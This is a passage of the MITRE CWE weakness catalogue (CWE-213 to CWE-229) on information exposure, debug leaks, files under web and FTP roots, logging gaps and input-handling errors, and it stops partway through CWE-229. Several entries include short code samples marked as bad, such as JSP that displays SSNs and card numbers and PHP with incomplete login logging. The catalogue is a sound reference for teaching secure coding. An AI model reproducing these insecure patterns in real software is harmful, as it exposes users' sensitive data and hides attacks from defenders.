CWE-213: Exposure of Sensitive Information Due to Incompatible Policies

Weakness ID : 213 **Status:** Draft

Structure : Simple
Abstraction : Base

Description

The product's intended functionality exposes information to certain actors in accordance with the developer's security policy, but this information is regarded as sensitive according to the intended security policies of other stakeholders such as the product's administrator, users, or others whose information is being processed.

Extended Description

When handling information, the developer must consider whether the information is regarded as sensitive by different stakeholders, such as users or administrators. Each stakeholder effectively has its own intended security policy that the product is expected to uphold. When a developer does not treat that information as sensitive, this can introduce a vulnerability that violates the expectations of the product's users.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

Nature	Type	ID	Name	Page
ChildOf		200	Exposure of Sensitive Information to an Unauthorized Actor	466

Relevant to the view "Software Development" (CWE-699)

Nature	Type	ID	Name	Page
MemberOf	C	199	Information Management Errors	1852

Applicable Platforms

Language : Language-Independent *(Prevalence = Undetermined)*

Common Consequences

Scope	Impact	Likelihood
Confidentiality	Read Application Data	

Demonstrative Examples

Example 1:

This code displays some information on a web page.

Example Language: JSP *(bad)*

```
Social Security Number: <%= ssn %></br>Credit Card Number: <%= ccn %>
```

The code displays a user's credit card and social security numbers, even though they aren't absolutely necessary.

Observed Examples

Reference	Description
CVE-2002-1725	Script calls phpinfo() *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2002-1725*
CVE-2004-0033	Script calls phpinfo() *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2004-0033*
CVE-2003-1181	Script calls phpinfo()

Reference	Description
	https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2003-1181
CVE-2004-1422	Script calls phpinfo() *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2004-1422*
CVE-2004-1590	Script calls phpinfo() *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2004-1590*
CVE-2003-1038	Product lists DLLs and full pathnames. *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2003-1038*
CVE-2005-1205	Telnet protocol allows servers to obtain sensitive environment information from clients. *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2005-1205*
CVE-2005-0488	Telnet protocol allows servers to obtain sensitive environment information from clients. *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2005-0488*

MemberOf Relationships

This MemberOf relationships table shows additional CWE Catgeories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	V	Page
MemberOf	C	963	SFP Secondary Cluster: Exposed Data	888	1940

Notes

Maintenance

This entry is being considered for deprecation. It overlaps many other entries related to information exposures. It might not be essential to preserve this entry, since other key stakeholder policies are covered elsewhere, e.g. personal privacy leaks (CWE-359) and system-level exposures that are important to system administrators (CWE-497).

Theoretical

In vulnerability theory terms, this covers cases in which the developer's Intended Policy allows the information to be made available, but the information might be in violation of a Universal Policy in which the product's administrator should have control over which information is considered sensitive and therefore should not be exposed.

Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Fit	Mapped Node Name
PLOVER			Intended information leak

CWE-214: Invocation of Process Using Visible Sensitive Information

Weakness ID : 214 **Status:** Incomplete
Structure : Simple
Abstraction : Base

Description

A process is invoked with sensitive command-line arguments, environment variables, or other elements that can be seen by other processes on the operating system.

Extended Description

Many operating systems allow a user to list information about processes that are owned by other users. Other users could see information such as command line arguments or environment variable settings. When this data contains sensitive information such as credentials, it might allow other users to launch an attack against the software or related resources.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

Nature	Type	ID	Name	Page
ChildOf	B	497	Exposure of Sensitive System Information to an Unauthorized Control Sphere	1062

Relevant to the view "Architectural Concepts" (CWE-1008)

Nature	Type	ID	Name	Page
MemberOf	C	1016	Limit Exposure	1971

Relevant to the view "Software Development" (CWE-699)

Nature	Type	ID	Name	Page
MemberOf	C	199	Information Management Errors	1852

Applicable Platforms

Language : Language-Independent *(Prevalence = Undetermined)*

Common Consequences

Scope	Impact	Likelihood
Confidentiality	Read Application Data	

Demonstrative Examples

Example 1:

In the example below, the password for a keystore file is read from a system property.

Example Language: Java *(bad)*

```
String keystorePass = System.getProperty("javax.net.ssl.keyStorePassword");
if (keystorePass == null) {
    System.err.println("ERROR: Keystore password not specified.");
    System.exit(-1);
}
...
```

If the property is defined on the command line when the program is invoked (using the -D... syntax), the password may be displayed in the OS process list.

Observed Examples

Reference	Description
CVE-2005-1387	password passed on command line *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2005-1387*
CVE-2005-2291	password passed on command line *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2005-2291*
CVE-2001-1565	username/password on command line allows local users to view via "ps" or other process listing programs *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2001-1565*
CVE-2004-1948	Username/password on command line allows local users to view via "ps" or other process listing programs. *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2004-1948*
CVE-1999-1270	PGP passphrase provided as command line argument. *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-1999-1270*

Reference	Description
CVE-2004-1058	Kernel race condition allows reading of environment variables of a process that is still spawning. *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2004-1058*

Affected Resources

- System Process

MemberOf Relationships

This MemberOf relationships table shows additional CWE Catgeories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	V	Page
MemberOf	C	963	SFP Secondary Cluster: Exposed Data	888	1940

Notes

Research Gap

Under-studied, especially environment variables.

Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Fit	Mapped Node Name
PLOVER			Process information infoleak to other processes
Software Fault Patterns	SFP23		Exposed Data

CWE-215: Insertion of Sensitive Information Into Debugging Code

Weakness ID : 215 **Status:** Draft
Structure : Simple
Abstraction : Base

Description

The application inserts sensitive information into debugging code, which could expose this information if the debugging code is not disabled in production.

Extended Description

When debugging, it may be necessary to report detailed information to the programmer. However, if the debugging code is not disabled when the application is operating in a production environment, then this sensitive information may be exposed to attackers.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

Nature	Type	ID	Name	Page
ChildOf	C	200	Exposure of Sensitive Information to an Unauthorized Actor	466
CanFollow	B	489	Active Debug Code	1042

Relevant to the view "Software Development" (CWE-699)

Nature	Type	ID	Name	Page
MemberOf	C	199	Information Management Errors	1852

Applicable Platforms

Language : Language-Independent *(Prevalence = Undetermined)*

Common Consequences

Scope	Impact	Likelihood
Confidentiality	Read Application Data	

Potential Mitigations

Phase: Implementation

Do not leave debug statements that could be executed in the source code. Ensure that all debug information is eradicated before releasing the software.

Phase: Architecture and Design

Strategy = Separation of Privilege

Compartmentalize the system to have "safe" areas where trust boundaries can be unambiguously drawn. Do not allow sensitive data to go outside of the trust boundary and always be careful when interfacing with a compartment outside of the safe area. Ensure that appropriate compartmentalization is built into the system design and that the compartmentalization serves to allow for and further reinforce privilege separation functionality. Architects and designers should rely on the principle of least privilege to decide when it is appropriate to use and to drop system privileges.

Demonstrative Examples

Example 1:

The following program changes its behavior based on a debug flag.

Example Language: JSP *(bad)*

```
<% if (Boolean.getBoolean("debugEnabled")) {
   %>
   User account number: <%= acctNo %>
   <%
   } %>
```

The code writes sensitive debug information to the client browser if the "debugEnabled" flag is set to true .

Observed Examples

Reference	Description
CVE-2004-2268	Password exposed in debug information. *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2004-2268*
CVE-2002-0918	CGI script includes sensitive information in debug messages when an error is triggered. *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2002-0918*
CVE-2003-1078	FTP client with debug option enabled shows password to the screen. *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2003-1078*

MemberOf Relationships

This MemberOf relationships table shows additional CWE Catgeories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	V	Page
MemberOf	C	717	OWASP Top Ten 2007 Category A6 - Information Leakage and Improper Error Handling	629	1872

Nature	Type	ID	Name	V	Page
MemberOf	C	731	OWASP Top Ten 2004 Category A10 - Insecure Configuration Management	711	1880
MemberOf	C	933	OWASP Top Ten 2013 Category A5 - Security Misconfiguration	928	1931
MemberOf	C	963	SFP Secondary Cluster: Exposed Data	888	1940

Notes

Relationship

This overlaps other categories.

Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Fit	Mapped Node Name
PLOVER			Infoleak Using Debug Information
OWASP Top Ten 2007	A6	CWE More Specific	Information Leakage and Improper Error Handling
OWASP Top Ten 2004	A10	CWE More Specific	Insecure Configuration Management
Software Fault Patterns	SFP23		Exposed Data

CWE-219: Storage of File with Sensitive Data Under Web Root

Weakness ID : 219 **Status:** Draft
Structure : Simple
Abstraction : Variant

Description

The application stores sensitive data under the web document root with insufficient access control, which might make it accessible to untrusted parties.

Extended Description

Besides public-facing web pages and code, applications may store sensitive data, code that is not directly invoked, or other files under the web document root of the web server. If the server is not configured or otherwise used to prevent direct access to those files, then attackers may obtain this sensitive data.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

Nature	Type	ID	Name	Page
ChildOf	B	552	Files or Directories Accessible to External Parties	1125
ParentOf	V	433	Unparsed Raw Web Content Delivery	933

Relevant to the view "Architectural Concepts" (CWE-1008)

Nature	Type	ID	Name	Page
MemberOf	C	1011	Authorize Actors	1965

Applicable Platforms

Language : Language-Independent *(Prevalence = Undetermined)*

Common Consequences

Scope	Impact	Likelihood
Confidentiality	Read Application Data	

Potential Mitigations

Phase: Implementation

Phase: System Configuration

Avoid storing information under the web root directory.

Phase: System Configuration

Access control permissions should be set to prevent reading/writing of sensitive files inside/outside of the web directory.

Observed Examples

Reference	Description
CVE-2005-1835	Data file under web root. *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2005-1835*
CVE-2005-2217	Data file under web root. *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2005-2217*
CVE-2002-1449	Username/password in data file under web root. *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2002-1449*
CVE-2002-0943	Database file under web root. *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2002-0943*
CVE-2005-1645	database file under web root. *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2005-1645*

MemberOf Relationships

This MemberOf relationships table shows additional CWE Catgeories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	V	Page
MemberOf	C	731	OWASP Top Ten 2004 Category A10 - Insecure Configuration Management	711	1880
MemberOf	C	815	OWASP Top Ten 2010 Category A6 - Security Misconfiguration	809	1898
MemberOf	C	963	SFP Secondary Cluster: Exposed Data	888	1940

Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Fit	Mapped Node Name
PLOVER			Sensitive Data Under Web Root
OWASP Top Ten 2004	A10	CWE More Specific	Insecure Configuration Management

CWE-220: Storage of File With Sensitive Data Under FTP Root

Weakness ID : 220 **Status:** Draft
Structure : Simple
Abstraction : Variant

Description

The application stores sensitive data under the FTP server root with insufficient access control, which might make it accessible to untrusted parties.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

Nature	Type	ID	Name	Page
ChildOf	B	552	Files or Directories Accessible to External Parties	1125

Relevant to the view "Architectural Concepts" (CWE-1008)

Nature	Type	ID	Name	Page
MemberOf	C	1011	Authorize Actors	1965

Applicable Platforms

Language : Language-Independent *(Prevalence = Undetermined)*

Background Details

Various Unix FTP servers require a password file that is under the FTP root, due to use of chroot.

Common Consequences

Scope	Impact	Likelihood
Confidentiality	Read Application Data	

Potential Mitigations

Phase: Implementation

Phase: System Configuration

Avoid storing information under the FTP root directory.

Phase: System Configuration

Access control permissions should be set to prevent reading/writing of sensitive files inside/outside of the FTP directory.

MemberOf Relationships

This MemberOf relationships table shows additional CWE Catgeories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	V	Page
MemberOf	C	963	SFP Secondary Cluster: Exposed Data	888	1940
MemberOf	C	1029	OWASP Top Ten 2017 Category A3 - Sensitive Data Exposure	1026	1976

Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Fit	Mapped Node Name
PLOVER			Sensitive Data Under FTP Root

CWE-221: Information Loss or Omission

Weakness ID : 221 **Status:** Incomplete
Structure : Simple
Abstraction : Class

Description

The software does not record, or improperly records, security-relevant information that leads to an incorrect decision or hampers later analysis.

Extended Description

This can be resultant, e.g. a buffer overflow might trigger a crash before the product can log the event.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

Nature	Type	ID	Name	Page
ChildOf	P	664	Improper Control of a Resource Through its Lifetime	1291
ParentOf	B	222	Truncation of Security-relevant Information	512
ParentOf	B	223	Omission of Security-relevant Information	513
ParentOf	B	224	Obscured Security-relevant Information by Alternate Name	515
ParentOf	B	356	Product UI does not Warn User of Unsafe Actions	784
ParentOf	B	396	Declaration of Catch for Generic Exception	860
ParentOf	B	397	Declaration of Throws for Generic Exception	862
ParentOf	C	451	User Interface (UI) Misrepresentation of Critical Information	962

Applicable Platforms

Language : Language-Independent *(Prevalence = Undetermined)*

Common Consequences

Scope	Impact	Likelihood
Non-Repudiation	Hide Activities	

MemberOf Relationships

This MemberOf relationships table shows additional CWE Catgeories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	V	Page
MemberOf	C	997	SFP Secondary Cluster: Information Loss	888	1958

Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Fit	Mapped Node Name
PLOVER			Information loss or omission

Related Attack Patterns

CAPEC-ID	Attack Pattern Name
81	Web Logs Tampering

CWE-222: Truncation of Security-relevant Information

Weakness ID : 222 **Status:** Draft
Structure : Simple
Abstraction : Base

Description

The application truncates the display, recording, or processing of security-relevant information in a way that can obscure the source or nature of an attack.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

Nature	Type	ID	Name	Page
ChildOf		221	Information Loss or Omission	511

Relevant to the view "Software Development" (CWE-699)

Nature	Type	ID	Name	Page
MemberOf	C	1210	Audit / Logging Errors	2012

Applicable Platforms

Language : Language-Independent *(Prevalence = Undetermined)*

Common Consequences

Scope	Impact	Likelihood
Non-Repudiation	Hide Activities *The source of an attack will be difficult or impossible to determine. This can allow attacks to the system to continue without notice.*	

Observed Examples

Reference	Description
CVE-2005-0585	Web browser truncates long sub-domains or paths, facilitating phishing. *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2005-0585*
CVE-2004-2032	Bypass URL filter via a long URL with a large number of trailing hex-encoded space characters. *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2004-2032*
CVE-2003-0412	Does not log complete URI of a long request (truncation). *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2003-0412*

MemberOf Relationships

This MemberOf relationships table shows additional CWE Catgeories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	V	Page
MemberOf	V	884	CWE Cross-section	884	2037
MemberOf	C	997	SFP Secondary Cluster: Information Loss	888	1958

Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Fit	Mapped Node Name
PLOVER			Truncation of Security-relevant Information

CWE-223: Omission of Security-relevant Information

Weakness ID : 223 **Status:** Draft
Structure : Simple

Abstraction : Base

Description

The application does not record or display information that would be important for identifying the source or nature of an attack, or determining if an action is safe.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

Nature	Type	ID	Name	Page
ChildOf	C	221	Information Loss or Omission	511
ParentOf	B	778	Insufficient Logging	1444

Relevant to the view "Architectural Concepts" (CWE-1008)

Nature	Type	ID	Name	Page
MemberOf	C	1009	Audit	1963

Relevant to the view "Software Development" (CWE-699)

Nature	Type	ID	Name	Page
MemberOf	C	1210	Audit / Logging Errors	2012

Applicable Platforms

Language : Language-Independent *(Prevalence = Undetermined)*

Common Consequences

Scope	Impact	Likelihood
Non-Repudiation	Hide Activities *The source of an attack will be difficult or impossible to determine. This can allow attacks to the system to continue without notice.*	

Demonstrative Examples

Example 1:

This code logs suspicious multiple login attempts.

Example Language: PHP *(bad)*

```
function login($userName,$password){
    if(authenticate($userName,$password)){
        return True;
    }
    else{
        incrementLoginAttempts($userName);
        if(recentLoginAttempts($userName) > 5){
            writeLog("Failed login attempt by User: " . $userName . " at " + date('r') );
        }
    }
}
```

This code only logs failed login attempts when a certain limit is reached. If an attacker knows this limit, they can stop their attack from being discovered by avoiding the limit.

Observed Examples

Reference	Description
CVE-1999-1029	Login attempts not recorded if user disconnects before maximum number of tries. *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-1999-1029*
CVE-2002-1839	Sender's IP address not recorded in outgoing e-mail. *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2002-1839*
CVE-2000-0542	Failed authentication attempt not recorded if later attempt succeeds. *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2000-0542*

MemberOf Relationships

This MemberOf relationships table shows additional CWE Catgeories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	V	Page
MemberOf	V	884	CWE Cross-section	884	2037
MemberOf	C	997	SFP Secondary Cluster: Information Loss	888	1958
MemberOf	C	1036	OWASP Top Ten 2017 Category A10 - Insufficient Logging & Monitoring	1026	1979

Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Fit	Mapped Node Name
PLOVER			Omission of Security-relevant Information

References

[REF-62]Mark Dowd, John McDonald and Justin Schuh. "The Art of Software Security Assessment". 1st Edition. 2006. Addison Wesley.

CWE-224: Obscured Security-relevant Information by Alternate Name

Weakness ID : 224 **Status:** Incomplete
Structure : Simple
Abstraction : Base

Description

The software records security-relevant information according to an alternate name of the affected entity, instead of the canonical name.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

Nature	Type	ID	Name	Page
ChildOf	G	221	Information Loss or Omission	511

Relevant to the view "Architectural Concepts" (CWE-1008)

Nature	Type	ID	Name	Page
MemberOf	C	1009	Audit	1963

Relevant to the view "Software Development" (CWE-699)

Nature	Type	ID	Name	Page
MemberOf	C	1210	Audit / Logging Errors	2012

Applicable Platforms

Language : Language-Independent *(Prevalence = Undetermined)*

Common Consequences

Scope	Impact	Likelihood
Non-Repudiation	Hide Activities	
Access Control	Gain Privileges or Assume Identity	

Demonstrative Examples

Example 1:

This code prints the contents of a file if a user has permission.

Example Language: PHP *(bad)*

```
function readFile($filename){
    $user = getCurrentUser();
    $realFile = $filename;
    //resolve file if its a symbolic link
    if(is_link($filename)){
        $realFile = readlink($filename);
    }
    if(fileowner($realFile) == $user){
        echo file_get_contents($realFile);
        return;
    }
    else{
        echo 'Access denied';
        writeLog($user . ' attempted to access the file '. $filename . ' on '. date('r'));
    }
}
```

While the code logs a bad access attempt, it logs the user supplied name for the file, not the canonicalized file name. An attacker can obscure their target by giving the script the name of a link to the file they are attempting to access. Also note this code contains a race condition between the is_link() and readlink() functions (CWE-363).

Observed Examples

Reference	Description
CVE-2002-0725	Attacker performs malicious actions on a hard link to a file, obscuring the real target file. *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2002-0725*

MemberOf Relationships

This MemberOf relationships table shows additional CWE Catgeories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	V	Page
MemberOf	C	997	SFP Secondary Cluster: Information Loss	888	1958

Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Fit	Mapped Node Name
PLOVER			Obscured Security-relevant Information by Alternate Name

References

[REF-7]Michael Howard and David LeBlanc. "Writing Secure Code". 2nd Edition. 2002 December 4. Microsoft Press. < https://www.microsoftpressstore.com/store/writing-secure-code-9780735617223 >.

CWE-226: Sensitive Information Uncleared in Resource Before Release for Reuse

Weakness ID : 226 **Status:** Draft
Structure : Simple
Abstraction : Base

Description

The product prepares to release a resource such as memory or a file so that the resource can be reused by other entities, but the product does not fully clear previously-used sensitive information from that resource before the resource is released.

Extended Description

When resources are released, they can be made available to other parties for reuse. For example, after memory is used and released, an operating system may make the memory available to another process, or disk space may be reallocated when a file is deleted. It is not necessarily guaranteed that the operating system will re-initialize the resource or otherwise remove the original contents.

Even when the resource is reused by the same process, this weakness can arise when new data is not as large as the old data, which leaves portions of the old data still available. Equivalent errors can occur in other situations where the length of data is variable but the associated data structure is not. If memory is not cleared after use, it may allow unintended actors to read the data when the memory is reallocated.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

Nature	Type	ID	Name	Page
ChildOf	B	212	Improper Removal of Sensitive Information Before Storage or Transfer	500
ChildOf	B	459	Incomplete Cleanup	978
ParentOf	V	244	Improper Clearing of Heap Memory Before Release ('Heap Inspection')	540
ParentOf	V	1239	Improper Zeroization of Hardware Register	1758
CanPrecede	B	201	Exposure of Sensitive Information Through Sent Data	474

Relevant to the view "Software Development" (CWE-699)

Nature	Type	ID	Name	Page
MemberOf	C	452	Initialization and Cleanup Errors	1867

Weakness Ordinalities

Primary :

Applicable Platforms

Language : Language-Independent *(Prevalence = Undetermined)*

Technology : Technology-Independent *(Prevalence = Undetermined)*

Common Consequences

Scope	Impact	Likelihood
Confidentiality	Read Application Data	

Observed Examples

Reference	Description
CVE-2003-0001	Ethernet NIC drivers do not pad frames with null bytes, leading to infoleak from malformed packets. *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2003-0001*
CVE-2003-0291	router does not clear information from DHCP packets that have been previously used *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2003-0291*
CVE-2005-1406	Products do not fully clear memory buffers when less data is stored into the buffer than previous. *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2005-1406*
CVE-2005-1858	Products do not fully clear memory buffers when less data is stored into the buffer than previous. *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2005-1858*
CVE-2005-3180	Products do not fully clear memory buffers when less data is stored into the buffer than previous. *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2005-3180*
CVE-2005-3276	Product does not clear a data structure before writing to part of it, yielding information leak of previously used memory. *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2005-3276*
CVE-2002-2077	Memory not properly cleared before reuse. *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2002-2077*

Functional Areas

- Memory Management
- Networking

Affected Resources

- Memory

MemberOf Relationships

This MemberOf relationships table shows additional CWE Catgeories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	V	Page
MemberOf	C	729	OWASP Top Ten 2004 Category A8 - Insecure Storage	711	1878
MemberOf	C	742	CERT C Secure Coding Standard (2008) Chapter 9 - Memory Management (MEM)	734	1886
MemberOf	C	876	CERT C++ Secure Coding Section 08 - Memory Management (MEM)	868	1917
MemberOf	C	963	SFP Secondary Cluster: Exposed Data	888	1940
MemberOf	C	1202	Memory and Storage Issues	1194	2010

Notes

Relationship

There is a close association between CWE-226 and CWE-212. The difference is partially that of perspective. CWE-226 is geared towards the final stage of the resource lifecycle, in which the resource is deleted, eliminated, expired, or otherwise released for reuse. Technically, this

involves a transfer to a different control sphere, in which the original contents of the resource are no longer relevant. CWE-212, however, is intended for sensitive data in resources that are intentionally shared with others, so they are still active. This distinction is useful from the perspective of the CWE research view (CWE-1000).

Maintenance

This entry needs modification to clarify the differences with CWE-212. The description also combines two problems that are distinct from the CWE research perspective - the inadvertent transfer of information to another sphere, and improper initialization/shutdown. Some of the associated taxonomy mappings reflect these different uses.

Research Gap

Currently frequently found for network packets, but it can also exist in local memory allocation, files, etc.

Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Fit	Mapped Node Name
PLOVER			Sensitive Information Uncleared Before Use
CERT C Secure Coding	MEM03-C		Clear sensitive information stored in reusable resources returned for reuse
Software Fault Patterns	SFP23		Exposed Data

CWE-228: Improper Handling of Syntactically Invalid Structure

Weakness ID : 228 **Status:** Incomplete
Structure : Simple
Abstraction : Class

Description

The product does not handle or incorrectly handles input that is not syntactically well-formed with respect to the associated specification.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

Nature	Type	ID	Name	Page
ChildOf	P	703	Improper Check or Handling of Exceptional Conditions	1355
ChildOf	P	707	Improper Neutralization	1362
ParentOf	B	229	Improper Handling of Values	521
ParentOf	B	233	Improper Handling of Parameters	525
ParentOf	B	237	Improper Handling of Structural Elements	531
ParentOf	B	241	Improper Handling of Unexpected Data Type	534

Common Consequences

Scope	Impact	Likelihood
Integrity Availability	Unexpected State DoS: Crash, Exit, or Restart DoS: Resource Consumption (CPU)	

Scope	Impact	Likelihood
	If an input is syntactically invalid, then processing the input could place the system in an unexpected state that could lead to a crash, consume available system resources or other unintended behaviors.	

Demonstrative Examples

Example 1:

This application has registered to handle a URL when sent an intent:

Example Language: Java *(bad)*

```
...
IntentFilter filter = new IntentFilter("com.example.URLHandler.openURL");
MyReceiver receiver = new MyReceiver();
registerReceiver(receiver, filter);
...
public class UrlHandlerReceiver extends BroadcastReceiver {
    @Override
    public void onReceive(Context context, Intent intent) {
        if("com.example.URLHandler.openURL".equals(intent.getAction())) {
            String URL = intent.getStringExtra("URLToOpen");
            int length = URL.length();
        ...
        }
    }
}
```

The application assumes the URL will always be included in the intent. When the URL is not present, the call to getStringExtra() will return null, thus causing a null pointer exception when length() is called.

MemberOf Relationships

This MemberOf relationships table shows additional CWE Catgeories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	V	Page
MemberOf	C	728	OWASP Top Ten 2004 Category A7 - Improper Error Handling	711	1878
MemberOf	V	884	CWE Cross-section	884	2037
MemberOf	C	993	SFP Secondary Cluster: Incorrect Input Handling	888	1956

Notes

Maintenance

This entry needs more investigation. Public vulnerability research generally focuses on the manipulations that generate invalid structure, instead of the weaknesses that are exploited by those manipulations. For example, a common attack involves making a request that omits a required field, which can trigger a crash in some cases. The crash could be due to a named chain such as CWE-690 (Unchecked Return Value to NULL Pointer Dereference), but public reports rarely cover this aspect of a vulnerability.

Maintenance

The validity of input could be roughly classified along "syntactic", "semantic", and "lexical" dimensions. If the specification requires that an input value should be delimited with the "[" and "]" square brackets, then any input that does not follow this specification would be syntactically invalid. If the input between the brackets is expected to be a number, but the letters "aaa" are provided, then the input is syntactically invalid. If the input is a number and enclosed in

brackets, but the number is outside of the allowable range, then it is semantically invalid. The inter-relationships between these properties - and their associated weaknesses- need further exploration.

Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Fit	Mapped Node Name
PLOVER			Structure and Validity Problems
OWASP Top Ten 2004	A7	CWE More Specific	Improper Error Handling

CWE-229: Improper Handling of Values

Weakness ID : 229 **Status:** Incomplete
Structure : Simple
Abstraction : Base

Description

The software does not properly handle when the expected number of values for parameters, fields, or arguments is not provided in input, or if those values are undefined.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

Nature	Type	ID	Name	Page
